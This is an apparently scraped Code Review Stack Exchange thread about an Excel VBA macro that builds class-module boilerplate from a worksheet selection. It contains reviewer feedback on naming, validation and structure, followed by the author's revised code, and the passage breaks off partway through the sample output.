Public Property Get Rights() As String
Rights = sRights
End Property
Public Property Let Rights(Var As String)
sRights = Var
End Property
Public Property Get Description() As String
Description = sDescription
End Property
Public Property Let Description(Var As String)
sDescription = Var
End Property
Public Property Get InputVars() As Variant
InputVars = arrInputVars
End Property
Public Property Let InputVars(Var As Variant)
arrInputVars = Var
End Property
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T17:10:33.507",
"Id": "411812",
"Score": "3",
"body": "Hey, cool idea and welcome to CR, hope you get some good reviews! I have a feeling you might soon be inundated with a load of suggestions about new features you could implement, improvements to be made etc. So a little bit of advice off the bat; be wary of feature creep (that is, making your method do more and more stuff). There's practically no limit to the possibilities available with automatic code creation, right now you have a great working example, but if you are to expand it any further I think you'll have to refactor it into separate methods/ classes. Just something to be aware of."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T17:19:35.273",
"Id": "411813",
"Score": "6",
"body": "You need to read Joel Spolsky's (author of the VBA language specifications and co-founder of Stack Exchange) excellent [Making Wrong Code Look Wrong](https://www.joelonsoftware.com/2005/05/11/making-wrong-code-look-wrong/) article about Hungarian Notation and how *Systems Hungarian* was nothing but a huge misunderstanding that grew into a huge mess in the 90's. Hungarian Notation was intended to be *Apps Hungarian*, and that naming scheme has nothing whatsoever to do with \"s-for-string, o-for-object\", and the like."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T12:44:39.003",
"Id": "411894",
"Score": "0",
"body": "@Greedo thanks, I am not intending to \"upgrade\" the code, this is more a \"framework\" where people can take it from and adjust it to their own needs."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T12:47:08.777",
"Id": "411896",
"Score": "0",
"body": "@MathieuGuindon, I am well aware of the Hungarian style debate. Which is why the code source provides for non-Hungarian code generation as well. I use Hungarian with VBA, I use Hungarian much less with VSTO. But I like it because it reflects what is structured in my mind, and also allows me to quickly filter varnames when I use intelisense. But that is another debate which I never meant to and do not want to enter :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T14:22:03.450",
"Id": "411913",
"Score": "3",
"body": "I have rolled back your last edits. Please do not update the code in your question to incorporate feedback from answers, doing so goes against the Question + Answer style of Code Review. This is not a forum where you should keep the most updated version in your question. Please see *[what you may and may not do after receiving answers](//codereview.meta.stackexchange.com/a/1765)*."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T14:37:35.550",
"Id": "411918",
"Score": "3",
"body": "Please stop updating your post with feedback from answers, it invalidates them and will be consistently rolled back. See @Heslacher's comment."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T14:46:31.230",
"Id": "411921",
"Score": "0",
"body": "Woops sorry! Working on a revised \"answer\" then."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T14:52:45.800",
"Id": "411925",
"Score": "0",
"body": "*If* you are interested in further improving the revised code, feel free to make a follow-up post. Self-reviews are completely fine, but \"answers\" that consist of nothing more than a code dump of the revised code, will be frowned upon by the community and may end up removed by a moderator. The goal is to *review* code - the learning exercise is the review process itself: feel free to put up the \"final\" code on GitHub for sharing, but as far as Code Review is concerned, the final/resulting code isn't important at all. See [meta] for more info :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T15:53:23.940",
"Id": "411928",
"Score": "0",
"body": "Yep I read the article @Heslacher shared. Just posted an update, hope I did it right!"
}
] | [
{
"body": "<p>Before diving into the code itself, I'm going to go over a couple \"structural things\". </p>\n\n<p>First, I'm not entirely sure what the utility of a tool like this actually is. When I'm writing code in the Visual Basic Editor, I get all of this great help like IntelliSense, syntax highlighting, an Object Browser, etc., etc. (and this is before using custom add-ins like <a href=\"https://github.com/rubberduck-vba/Rubberduck\" rel=\"noreferrer\">Rubberduck</a><sup>1</sup>).</p>\n\n<p>Writing code in a spreadsheet strikes me as, well, a bit strange. It seems like this wants a better interface - something like a wizard (or at very least a <code>UserForm</code>). Currently it has a major drawback in that it requires me to add a worksheet to an existing workbook to run it, which makes it harder to, say, package as an add-in.</p>\n\n<hr>\n\n<p>The second glaring structural issue is that the code is output to the Immediate Window, which only has a 200 line buffer. The sample output from the question is already getting very close to running past that maximum buffer size (and this is exacerbated by some things I'll mention below). On top of that, there is absolutely zero validation to make sure that the output isn't going to end up with the top half of the template chopped off in the Immediate Window. This could be easily resolved by sending output to a text file or (better) using <a href=\"https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/visual-basic-add-in-model-reference\" rel=\"noreferrer\">the VBE's object model</a> to generate the class directly. I consider this a fairly substantial bug.</p>\n\n<hr>\n\n<h2>Coding Style</h2>\n\n<hr>\n\n<p><strong>1.) Hungarian Notation</strong><sup>2</sup> - @MathieuGuindon provided <a href=\"https://www.joelonsoftware.com/2005/05/11/making-wrong-code-look-wrong/\" rel=\"noreferrer\">an excellent link</a> in <a href=\"https://codereview.stackexchange.com/questions/212923/standardized-and-automated-class-block-generation-for-vba#comment411813_212923\">his comment</a>. I highly recommend reading it, and then using the current Microsoft <a href=\"https://docs.microsoft.com/en-us/dotnet/visual-basic/programming-guide/program-structure/naming-conventions\" rel=\"noreferrer\">Visual Basic Naming Conventions</a> - they ditched this ancient style for a good reason. </p>\n\n<p>That said, even if you completely disagree with this, the use of <code>h</code> as a prefix for <code>LongPtr</code> and <code>LongLong</code> is completely misleading to anyone familiar with the Windows APIs. In the Windows API, an <code>h</code> is a handle and <code>lp</code> is used for a long pointer. There's a difference between the two that simply can't be captured by a single variable type (and on a 32 bit install a <code>Long</code> could <em>also</em> be either a handle or a pointer). Consistently using <code>h</code> for <strong><em>any</em></strong> <code>LongPtr</code> is dangerously misleading. See <a href=\"https://stackoverflow.com/q/13023405/4088852\">this answer</a> over on SO.</p>\n\n<hr>\n\n<p><strong>2.) Indentation</strong> - Overall not bad, but whatever convention you decide to use for indenting, it should be made consistent. For example, <code>With</code> is indented like this in some places...</p>\n\n<blockquote>\n<pre><code>For i = LBound(arrName) To UBound(arrName)\n\n Set myMember = New clsGenClsMember\n With myMember\n</code></pre>\n</blockquote>\n\n<p>... and this in others:</p>\n\n<blockquote>\n<pre><code>For Each myMember In cProperties\nWith myMember\n</code></pre>\n</blockquote>\n\n<p>I'd personally consider the top style \"correct\". Say what you will about other structures, but IMO a loop should <em>always</em> add another indentation level.</p>\n\n<hr>\n\n<p><strong>3.) Comments</strong> - Comments should explain the <strong><em>why</em></strong> of the code and not the <strong><em>how</em></strong> of the code. One perfect example of this is the comment <code>'# Export Print Code to Immediate Window</code>, followed immediately by <code>Debug.Print sOutput</code>. I'm going to go out on a limb here and say that if somebody is generating a class template from an Excel spreadsheet and doesn't know what <code>Debug.Print</code> does, they probably shouldn't be generating a class template from an Excel spreadsheet. </p>\n\n<p>Code should be self documenting to the extend possible - this means picking names that make it obvious what things represent or do. Banner comments like <code>'***** PREPARE DATA *****</code> <strong><em>inside</em></strong> of procedures are a huge red flag for me also. If the procedure needs a sign-post as to what's going on in a function, then that function is doing too much. </p>\n\n<p>For example, in <code>Sub main</code>, I would at very least take each banner header like that and make it into a function of the same name, i.e. <code>Function PrepareData()</code>. The generated code probably doesn't need comments at all. First, because the comment at the top is basically just the data used to generate the class (and that's still on my spreadsheet, right?) - and if the object model is decent and the naming is good, I shouldn't need that at all. </p>\n\n<p>Oh yeah - and that thing from earlier about the Immediate Window only having a 200 line buffer? This is where that bug is exacerbated. Every single needless comment reduces the amount of <em>useful</em> output that can be generated.</p>\n\n<hr>\n\n<p><strong>4.) The \"God Procedure\"</strong> - I alluded to this above, but the <code>main</code> procedure does <strong><em>way</em></strong> to much. The procedure body is 321 lines long, and requires paging down <strong><em>7 times</em></strong> with my VBE settings to get from the top of the procedure to the bottom. If I strip out all of the vertical white-space and comments, it's <strong><em>still</em></strong> 208 lines (yep, 113 lines are pure scroll-bar). There's no conceivable way that I could tell with a casual inspection what it does (or what the variables are for that matter - they're mostly declared a couple hundred lines up). This should be split into discrete parts that each handle a very specific concern.</p>\n\n<hr>\n\n<p><strong>5.) Constants</strong> - First, these have types too - they should be explicitly declared. This...</p>\n\n<blockquote>\n<pre><code>Private Const cstMaxLenName = 25\nPrivate Const cstMaxLenRW = 4\nPrivate Const cstMaxLenVarType = 25\n</code></pre>\n</blockquote>\n\n<p>...should look more like this:</p>\n\n<pre><code>Private Const MaximumNameLength As Long = 25\nPrivate Const MaximumAccessFlagLength As Long = 4\nPrivate Const MaximumVariableTypeLength As Long = MaximumNameLength\n</code></pre>\n\n<p>In addition, <code>cstVariableTypes</code> and <code>cstVariablesPrefix</code> are only used by <code>Function VarPrefix</code>, and are only used once. I'd either move them inside the function...</p>\n\n<pre><code>Private Function VarPrefix(sVarType As String) As String\n\n Const VariableTypes As String = \"Variant, Integer, Long, Single, Double, Currency, Date, String, Boolean, Byte, LongLong, LongPtr, Collection, Object\"\n Const VariablePrefixes As String = \"v, i, l, sgl, dbl, ccy, d, s, b, by, h, h, c, o\"\n</code></pre>\n\n<p>...or simply inline the strings.</p>\n\n<hr>\n\n<h2>Miscellania</h2>\n\n<p><strong>1.)</strong> This <code>If</code> block is complete torture:</p>\n\n<blockquote>\n<pre><code>If Selection.Columns.Count > 4 And (Selection.Columns.Count - 4) Mod 2 <> 0 _\nThen MsgBox \"Selection is wrong, please try again\", vbCritical + vbOKOnly, \"Excel clsGen\": End\n</code></pre>\n</blockquote>\n\n<p>It combines a line continuation and an instruction separator to give a single line <code>If</code> statement that spans 2 lines and executes 2 statements. That's insanely difficult to read and is becoming is the source of numerous questions on SO. This is much, much, much better:</p>\n\n<pre><code>If Selection.Columns.Count > 4 And (Selection.Columns.Count - 4) Mod 2 <> 0 Then\n MsgBox \"Selection is wrong, please try again\", vbCritical + vbOKOnly, \"Excel clsGen\"\n Exit Sub\nEnd If\n</code></pre>\n\n<p>Don't <em>fight</em> VBA's syntax - use it. The impetus to compact the code vertically won't be as great if the procedure isn't 321 lines long (see above).</p>\n\n<hr>\n\n<p><strong>2.)</strong> Related to the above, note also that <code>End</code> is not the same thing as <code>Exit Sub</code>. It forcibly terminates execution, meaning that it's up in the air as to whether <code>rngRawInput</code>'s reference count gets decremented. This is most likely a memory leak and I'd consider it a bug. Note also that it took me longer to catch this than any other bug in this code because it's obscured by the \"single-line\" <code>If</code> statement (my eyes pick it out as <code>End If</code>) - see above.</p>\n\n<hr>\n\n<p><strong>3.)</strong> This section of code \"leaks\" an initialized object outside of the loop that it's used in:</p>\n\n<blockquote>\n<pre><code>For i = LBound(arrName) To UBound(arrName)\n Set myMember = New clsGenClsMember\n With myMember\n '...[Snip]...\n End With\nNext\n</code></pre>\n</blockquote>\n\n<p>The variable <code>myMember</code> holds one reference, and the implicit <code>With</code> \"placeholder\" holds a second reference. If you merge the instantiation into the <code>With</code>, it ensures that the object gets released at the end of the block when it goes out of scope:</p>\n\n<pre><code>For i = LBound(arrName) To UBound(arrName)\n With New clsGenClsMember\n '...[Snip]...\n End With\nNext\n</code></pre>\n\n<hr>\n\n<p><strong>4.)</strong> <code>VbMsgBoxStyle</code> is a set of bit flags. That means they shouldn't be added like <code>vbCritical + vbOKOnly</code>. They should be combined with the <code>Or</code> operator: <code>vbCritical Or vbOKOnly</code>.</p>\n\n<hr>\n\n<p><strong>5.)</strong> There is almost zero validation for identifier names. What if I enter something into a cell with a newline in it? Or a variable name with a space? Or a name that begins with an underscore? Or a number? Or... etc. At a minimum, I would expect to see something like a regular expression to catch the most egregious of these.</p>\n\n<p>Ironically, the only thing that <em>is</em> validated is that \"Member name cannot be 'val'\" . When I originally saw that, I thought to myself - \"Oh, that's because <a href=\"https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/val-function\" rel=\"noreferrer\"><code>Val</code> is a built in VBA function</a>.\". But there's no other name collision testing (although there probably should be). It strikes me more like this used to be the default parameter name in the generated class instead of <code>Var</code>, but it was later renamed because <code>Val</code> was hiding stuff...</p>\n\n<hr>\n\n<p><strong>6.)</strong> Speaking of validation, the member names are being validated in the wrong place. They're checked here (and have the plug forcibly pulled if they're too long - see the discussion of <code>End</code> above)...</p>\n\n<blockquote>\n<pre><code>If Len(.Name) > cstMaxLenName Or Len(.Rights) > cstMaxLenRW Or Len(.VarTypeFull) > cstMaxLenVarType Then _\nMsgBox \"Member Name, RW statement, and/or Description are too long, please try again with something shorter.\", vbCritical + vbOKOnly, \"Excel clsGen\": End\n</code></pre>\n</blockquote>\n\n<p>...but when they're <strong><em>used</em></strong>, they're coming from <code>clsGenClsMember</code> unchecked:</p>\n\n<blockquote>\n<pre><code>With myMember\n sOutput = sOutput & \"' - \" & .Name & Space(cstMaxLenName - Len(.Name)) _\n & .Rights & Space(cstMaxLenRW - Len(.Rights)) _\n & .VarTypeFull & Space(cstMaxLenVarType - Len(.VarTypeFull)) _\n & .Description & vbNewLine\nEnd With\n</code></pre>\n</blockquote>\n\n<p>This is a clear violation of separation of responsibilities, and I can't be the only one who sees irony in code that generates classes doing this. If the maximum <code>Name</code> length for a <code>clsGenClsMember</code> is 25, the class should be enforcing it, not the caller. </p>\n\n<p>Note that this allows unchecked code like <code>.Name & Space(cstMaxLenName - Len(.Name))</code> which <strong><em>throws</em></strong> if the class doesn't enforce this. This is borderline buggy.</p>\n\n<hr>\n\n<p><strong>7.)</strong> All of the code with place-holders and <code>Replace</code> needs validation:</p>\n\n<blockquote>\n<pre><code> sPrint = \"Private @p@VarName as @New @VarType\" & vbNewLine\n sPrint = Replace(sPrint, \"@VarName\", .Name)\n</code></pre>\n</blockquote>\n\n<p>What happens if I use a place-holder in the input? It would probably be better to concatenate these instead.</p>\n\n<hr>\n\n<p><strong>8.)</strong> The list of intrinsic variables doesn't take types and enumerations into account. That means when it checks to see if a property should be generated as a <code>Let</code> or a <code>Set</code> in code like this...</p>\n\n<blockquote>\n<pre><code>sPrint = Replace(sPrint, \"@New \", IIf(UBound(Filter(arrNonObjectVariables, .VarType, , vbTextCompare)) > -1, \"\", \"New \"))\n</code></pre>\n</blockquote>\n\n<p>...it is ignoring things like <code>VbMsgBoxStyle</code> from above. There's not really a way to definitively know which one to use in all cases, because you can use <code>Set</code> with a <code>Variant</code> too. Barring going off to read the type libraries and figuring it out, this is likely best left to user input - I'd also consider this a bug. </p>\n\n<p>Note also that this should be a responsibility of <code>clsGenClsMember</code>, not the calling code.</p>\n\n<hr>\n\n<p><strong>9.)</strong> There is at least one declaration missing variable types:</p>\n\n<blockquote>\n<pre><code>Dim sArgumentPairs\n</code></pre>\n</blockquote>\n\n<p>Hungarian says that's a <code>String</code>, but it lies - that's a <code>Variant</code> (this highlights part of the problem with Hungarian notation...see above).</p>\n\n<hr>\n\n<p><strong>10.)</strong> Similar to #8, this default prefix in <code>VarPrefix</code>...</p>\n\n<blockquote>\n<pre><code>'Else it is an Object\nVarPrefix = \"o\"\n</code></pre>\n</blockquote>\n\n<p>...is broken for the same way. E.g. <code>Dim oNoImNotAnObject As MyType</code>...</p>\n\n<hr>\n\n<p>There probably more ground to cover (I didn't even get to running code analysis on this), but I'll leave that to other reviewers as this is already running a tad long...</p>\n\n<hr>\n\n<p><sup>1</sup> <sub>Full disclosure, I'm a contributor to that project.</sub></p>\n\n<p><sup>2</sup> <sub>Fuller disclosure, I implemented the Hungarian notation inspection in Rubberduck too.</sub></p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T18:35:22.367",
"Id": "411973",
"Score": "1",
"body": "Comments are not for extended discussion; this conversation has been [moved to chat](https://chat.stackexchange.com/rooms/89350/discussion-on-answer-by-comintern-standardized-and-automated-class-block-generat)."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T21:50:46.090",
"Id": "212942",
"ParentId": "212923",
"Score": "7"
}
},
{
"body": "<p>Updated source code, with the following comments from Comintern, and suggestion from Mathieu:</p>\n\n<ol>\n<li>Constants declarations now include types</li>\n<li>Additionnal warning regarding non-recognised variable types (enumerations, etc)</li>\n<li>One-Liners in the fashion of \"If ABC Then Msgbox DEF: End\" converted into several-liners</li>\n<li>The MyMember With-block has been optimized</li>\n<li>Missing type for sArgumentPairs has been added</li>\n<li>Var/Val inconsistency in data validation has been fixed</li>\n</ol>\n\n<p>Also made the following updates:</p>\n\n<ol>\n<li>Simplified Class code (improved readability)</li>\n<li>Removed prefixing option as this was prone to generate debate over Hungarian style</li>\n</ol>\n\n<hr>\n\n<p>STANDARD MODULE SOURCE CODE</p>\n\n<pre><code>Option Explicit\n\n'##### GEN CLASS CODE FOR VBA #####\n\n'Generates code in the Immediate Window\n'Select in a Spreadsheet the list of Properties, Functions, and Methods to be incorporated within the Class.\n'The row just above the selection provides the Class Name in the cell of column 1 of the selection, and an optionnal Description in column 2.\n'Make sure your class Name begins with a 3-letters prefix (for example 'clsMyClassName').\n'Each Row of the selection must represent a Member, and the Columns must be structured as follows: (x = must be provided, o = must not be provided, ? = can be provided)\n'Column Property Function Method Comment\n' - 1: Member Name x x x\n' - 2: Member Variable Type x x o Variable Type of the Variable returned by Property or Function. Use \"VarType Coll\" to declare a Collection of 'VarType'.\n' - 3: Member Rights x o o Defines if the Member is Read Only, Write Only, or Both: type 'R', 'W', or 'RW'.\n' - 4: Member Description ? ? ? Will be inserted in the Class Summary Header, as well as in the Member Mini Header. Usually empty if the Member is a Property.\n' - 5-6+: Member Input Variables o ? ? Pairs of value : column N is VarName, column N+1 is VarType. If more than one Input Variable is required, reapeat with columns 7-8, etc.\n\n'Known non-Object Variable Types (Object variables require a Let and New statement)\n'WARNING: Enumerations and user-defined Types are treated as Objects -> Changes to be made manually after Code Generation\nPrivate Const cstNonObjectVariables As String = \"Variant, Integer, Long, Single, Double, Currency, Date, String, Boolean, Byte, LongLong, LongPtr\"\n\n'Maximum lengths per column (for Class Summary Header)\nPrivate Const cstMaxLenName As Long = 25\nPrivate Const cstMaxLenRW As Long = 4\nPrivate Const cstMaxLenVarType As Long = 25\n\nSub main()\n\n '***** PREPARE DATA *****\n\n '# Read and Verify Selection\n\n Dim rngRawInput As Range\n Set rngRawInput = Selection\n\n If Selection.Columns.Count > 4 And (Selection.Columns.Count - 4) Mod 2 <> 0 Then\n MsgBox \"Selection is wrong, please try again\", vbCritical + vbOKOnly, \"Excel clsGen\"\n End\n End If\n\n If rngRawInput.Columns.Count < 6 Then Set rngRawInput = rngRawInput.Resize(, 6)\n\n\n '# Save Selection Content\n\n Dim sClassName As String\n Dim sClassDescription As String\n\n sClassName = rngRawInput.Offset(-1, 0).Cells(1, 1).Value2\n sClassDescription = rngRawInput.Offset(-1, 0).Cells(1, 2).Value2\n\n\n Dim arrName() As Variant\n Dim arrVarType() As Variant\n Dim arrRights() As Variant\n Dim arrDescription() As Variant\n Dim arrInputVars() As Variant\n\n arrName = rngRawInput.Columns(1).Value2\n arrVarType = rngRawInput.Columns(2).Value2\n arrRights = rngRawInput.Columns(3).Value2\n arrDescription = rngRawInput.Columns(4).Value2\n arrInputVars = ActiveSheet.Range(Cells(rngRawInput.Row, rngRawInput.Column + 4), _\n Cells(rngRawInput.Row + rngRawInput.Rows.Count - 1, rngRawInput.Column + rngRawInput.Columns.Count - 1)).Value2\n\n\n '# Identify Selection Content Member Types and Populate relevant Collections\n\n Dim cProperties As New Collection\n Dim cFunctions As New Collection\n Dim cMethods As New Collection\n Dim myMember As clsGenClsMember\n\n Dim i As Integer\n Dim j As Integer\n For i = LBound(arrName) To UBound(arrName)\n\n With New clsGenClsMember\n .Name = arrName(i, 1)\n .VarType = Replace(Split(arrVarType(i, 1) & \" \", \" \")(VBAexcelBasics.FunctionsStrings.strCount(CStr(arrVarType(i, 1)), \" \")), \"Coll\", \"Collection\", , , vbTextCompare) '\"oVariable Coll\" -> \"Collection\" (of oVariable type)\n .VarTypeFull = arrVarType(i, 1)\n .Rights = arrRights(i, 1)\n .Description = arrDescription(i, 1)\n .InputVars = Application.WorksheetFunction.Index(arrInputVars, i, 0)\n\n If StrComp(.Name, \"Var\", vbTextCompare) = 0 Then\n MsgBox \"Member name cannot be 'Var', please try again with another name.\", vbCritical + vbOKOnly, \"Excel clsGen\"\n End\n End If\n\n If Len(.Name) > cstMaxLenName Or Len(.Rights) > cstMaxLenRW Or Len(.VarTypeFull) > cstMaxLenVarType Then\n MsgBox \"Member Name, RW statement, and/or Description are too long, please try again with something shorter.\", vbCritical + vbOKOnly, \"Excel clsGen\"\n End\n End If\n\n 'Member is a Property\n If .Name <> \"\" And .VarType <> \"\" And .Rights <> \"\" And .InputVars(1) = \"\" Then\n cProperties.Add .Self\n\n 'Member is a Function\n ElseIf .Name <> \"\" And .VarType <> \"\" And .Rights = \"\" And .InputVars(1) <> \"\" Then\n cFunctions.Add .Self\n\n 'Member is a Method\n ElseIf .Name <> \"\" And .VarType = \"\" And .Rights = \"\" Then\n cMethods.Add .Self\n\n 'Unable to identify Member kind\n Else\n MsgBox \"Unable to Identify Content of row \" & i & \" (\" & .Name & \"). Please verify and try again.\", vbCritical + vbOKOnly, \"Excel clsGen\"\n End\n End If\n\n End With\n\n Next\n\n\n '***** PRINT DATA *****\n\n Dim sPrint As String\n Dim sOutput As String\n Dim arrNonObjectVariables() As String\n arrNonObjectVariables = Split(cstNonObjectVariables, \", \")\n\n\n '# Print Summary Header\n\n sPrint = \"'@ClassName\" & vbNewLine _\n & \"'@ClassDescription\" & vbNewLine _\n\n sPrint = Replace(sPrint, \"@ClassName\", StrConv(Mid(sClassName, 4, Len(sClassName) - 3), vbUpperCase))\n sPrint = Replace(sPrint, \"@ClassDescription\" & vbNewLine, IIf(sClassDescription = \"\", \"\", sClassDescription & vbNewLine))\n\n sOutput = sOutput & sPrint\n\n 'Properties\n sOutput = sOutput & vbNewLine _\n & \"'Properties:\" & vbNewLine\n\n For Each myMember In cProperties\n With myMember\n sOutput = sOutput & \"' - \" & .Name & Space(cstMaxLenName - Len(.Name)) _\n & .Rights & Space(cstMaxLenRW - Len(.Rights)) _\n & .VarTypeFull & Space(cstMaxLenVarType - Len(.VarTypeFull)) _\n & .Description & vbNewLine\n End With\n Next\n\n 'Functions\n sOutput = sOutput & vbNewLine _\n & \"'Functions:\" & vbNewLine\n\n For Each myMember In cFunctions\n With myMember\n sOutput = sOutput & \"' - \" & .Name & Space(cstMaxLenName + cstMaxLenRW - Len(.Name)) _\n & .VarTypeFull & Space(cstMaxLenVarType - Len(.VarTypeFull)) _\n & .Description & vbNewLine\n End With\n Next\n\n 'Methods\n sOutput = sOutput & vbNewLine _\n & \"'Methods:\" & vbNewLine\n\n For Each myMember In cMethods\n With myMember\n sOutput = sOutput & \"' - \" & .Name & Space(cstMaxLenName - Len(.Name)) _\n & .Description & vbNewLine\n End With\n Next\n\n sOutput = sOutput & vbNewLine _\n & \"Option Explicit\" & vbNewLine _\n & vbNewLine _\n & vbNewLine\n\n\n '# Print Private Variables\n\n For Each myMember In cProperties\n With myMember\n\n sPrint = \"Private p@VarName as @New @VarType\" & vbNewLine\n\n sPrint = Replace(sPrint, \"@VarName\", .Name)\n sPrint = Replace(sPrint, \"@New \", IIf(UBound(Filter(arrNonObjectVariables, .VarType, , vbTextCompare)) > -1, \"\", \"New \"))\n sPrint = Replace(sPrint, \"@VarType\", .VarType)\n\n sOutput = sOutput & sPrint\n\n End With\n Next\n\n\n '# Print Initialize\n\n sPrint = vbNewLine _\n & vbNewLine _\n & vbNewLine _\n & \"'##### INITIALIZE #####\" & vbNewLine _\n & vbNewLine _\n & \"Private Sub class_Initialize()\" & vbNewLine _\n & \" Debug.Print \"\"@ClassName initilized\"\" \" & vbNewLine _\n & \"End Sub\" & vbNewLine\n\n sPrint = Replace(sPrint, \"@ClassName\", sClassName)\n\n sOutput = sOutput & sPrint\n\n\n '# Print Properties\n\n sPrint = vbNewLine _\n & vbNewLine _\n & vbNewLine _\n & \"'##### PROPERTIES #####\" & vbNewLine\n\n sOutput = sOutput & sPrint\n\n For Each myMember In cProperties\n With myMember\n\n 'Prepare Print\n sPrint = vbNewLine _\n & vbNewLine _\n & \"'# @VARNAME\" & vbNewLine _\n & vbNewLine\n\n If InStr(.Rights, \"R\") <> 0 Then sPrint = sPrint & \"'@Description\" & vbNewLine _\n & \"Public Property Get @VarName() as @VarType\" & vbNewLine _\n & \" @Set @VarName = p@VarName\" & vbNewLine _\n & \"End Property\" & vbNewLine\n\n If InStr(.Rights, \"W\") <> 0 Then sPrint = sPrint & \"Public Property @LetSet @VarName(Var as @VarType)\" & vbNewLine _\n & \" @Set p@VarName = Var\" & vbNewLine _\n & \"End Property\" & vbNewLine\n\n 'Replace PlaceHolders\n sPrint = Replace(sPrint, \"@VARNAME\", UCase(.Name))\n sPrint = Replace(sPrint, \"@Description\", .Description)\n sPrint = Replace(sPrint, \"@VarName\", .Name)\n sPrint = Replace(sPrint, \"@VarType\", .VarType)\n sPrint = Replace(sPrint, \"@Set \", IIf(UBound(Filter(arrNonObjectVariables, .VarType, , vbTextCompare)) > -1, \"\", \"Set \"))\n sPrint = Replace(sPrint, \"@LetSet\", IIf(UBound(Filter(arrNonObjectVariables, .VarType, , vbTextCompare)) > -1, \"Let\", \"Set\"))\n\n sOutput = sOutput & sPrint\n\n End With\n Next\n\n\n '# Print Functions\n\n sPrint = vbNewLine _\n & vbNewLine _\n & vbNewLine _\n & \"'##### FUNCTIONS #####\" & vbNewLine\n\n sOutput = sOutput & sPrint\n\n Dim sArgumentPairs as String\n For Each myMember In cFunctions\n With myMember\n\n 'Prepare Print\n sPrint = vbNewLine _\n & vbNewLine _\n & \"'# @NAME\" & vbNewLine _\n & vbNewLine _\n & \"'@Description\" & vbNewLine _\n & \"Public Function @Name(@ArgumentPairs) as @VarType\" & vbNewLine _\n & \" \" & vbNewLine _\n & \"End Function\" & vbNewLine\n\n 'Replace PlaceHolders\n sPrint = Replace(sPrint, \"@NAME\", UCase(.Name))\n sPrint = Replace(sPrint, \"@Description\", .Description)\n sPrint = Replace(sPrint, \"@Name\", .Name)\n sPrint = Replace(sPrint, \"@VarType\", .VarType)\n\n 'Check if Arguments List provided\n If .InputVars(1) = \"\" Then\n sPrint = Replace(sPrint, \"(@ArgumentPairs)\", \"\")\n Else\n sArgumentPairs = \"\"\n For i = LBound(.InputVars) To UBound(.InputVars) Step 2\n If .InputVars(i) = \"\" Then Exit For\n sArgumentPairs = sArgumentPairs & \"ByVal \" & .InputVars(i) & \" as \" & .InputVars(i + 1) & \", \"\n Next\n sArgumentPairs = Left(sArgumentPairs, Len(sArgumentPairs) - Len(\", \"))\n sPrint = Replace(sPrint, \"@ArgumentPairs\", sArgumentPairs)\n End If\n\n sOutput = sOutput & sPrint\n\n End With\n Next\n\n '# Print Methods\n\n sPrint = vbNewLine _\n & vbNewLine _\n & vbNewLine _\n & \"'##### METHODS #####\" & vbNewLine\n\n sOutput = sOutput & sPrint\n\n For Each myMember In cMethods\n With myMember\n\n 'Prepare Print\n sPrint = vbNewLine _\n & vbNewLine _\n & \"'# @NAME\" & vbNewLine _\n & vbNewLine _\n & \"'@Description\" & vbNewLine _\n & \"Public Sub @Name(@ArgumentPairs)\" & vbNewLine _\n & \" \" & vbNewLine _\n & \"End Sub\" & vbNewLine\n\n 'Replace PlaceHolders\n sPrint = Replace(sPrint, \"@NAME\", UCase(.Name))\n sPrint = Replace(sPrint, \"@Description\", .Description)\n sPrint = Replace(sPrint, \"@Name\", .Name)\n\n 'Check if Arguments List provided\n If .InputVars(1) = \"\" Then\n sPrint = Replace(sPrint, \"@ArgumentPairs\", \"\")\n Else\n sArgumentPairs = \"\"\n For i = LBound(.InputVars) To UBound(.InputVars) Step 2\n If .InputVars(i) = \"\" Then Exit For\n sArgumentPairs = sArgumentPairs & \"ByVal \" & .InputVars(i) & \" as \" & .InputVars(i + 1) & \", \"\n Next\n sArgumentPairs = Left(sArgumentPairs, Len(sArgumentPairs) - Len(\", \"))\n sPrint = Replace(sPrint, \"@ArgumentPairs\", sArgumentPairs)\n End If\n\n sOutput = sOutput & sPrint\n\n End With\n Next\n\n\n '# Export Print Code to Immediate Window\n\n Debug.Print sOutput\n\nEnd Sub\n</code></pre>\n\n<p>CLASS MODULE SOURCE CODE (Name = clsGenClsMember)</p>\n\n<pre><code>'Stores the characteristics of one Member (one member per row within the user selected range)\nOption Explicit\n\nPublic Name As String\nPublic VarType As String\nPublic VarTypeFull As String\nPublic Rights As String\nPublic Description As String\nPublic InputVars As Variant\n\n'Allow self-reflection\nPublic Property Get Self() As clsGenClsMember\n Set Self = Me\nEnd Property\n</code></pre>\n\n<hr>\n\n<p>The updated code generates the following code, using the following input:</p>\n\n<p><a href=\"https://i.stack.imgur.com/6S8f6.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6S8f6.png\" alt=\"enter image description here\"></a></p>\n\n<pre><code>'CLIENTFILE\n'Description here\n\n'Properties:\n' - Id R Long A cumulative Id number (attributed during initialization)\n' - FirstName RW String First name\n' - LastName RW String Last Name\n' - DateOfBirth RW Date Date of Birth\n' - Sales RW String Coll A collection of strings which represent sales ID numbers\n' - Proposals RW clsProposal Coll A collection of clsProposal objects which represent the proposals sent in the past\n\n'Functions:\n' - NewProposal clsProposal Returns a Proposal for given sales parameters\n\n'Methods:\n' - SendBestWishes Sends a wishes card (why not?)\n' - MakePremium Upgrades the client to Premium\n\nOption Explicit\n\n\nPrivate pId as Long\nPrivate pFirstName as String\nPrivate pLastName as String\nPrivate pDateOfBirth as Date\nPrivate pSales as New Collection\nPrivate pProposals as New Collection\n\n\n\n'##### INITIALIZE #####\n\nPrivate Sub class_Initialize()\n Debug.Print \"clsClientFile initilized\" \nEnd 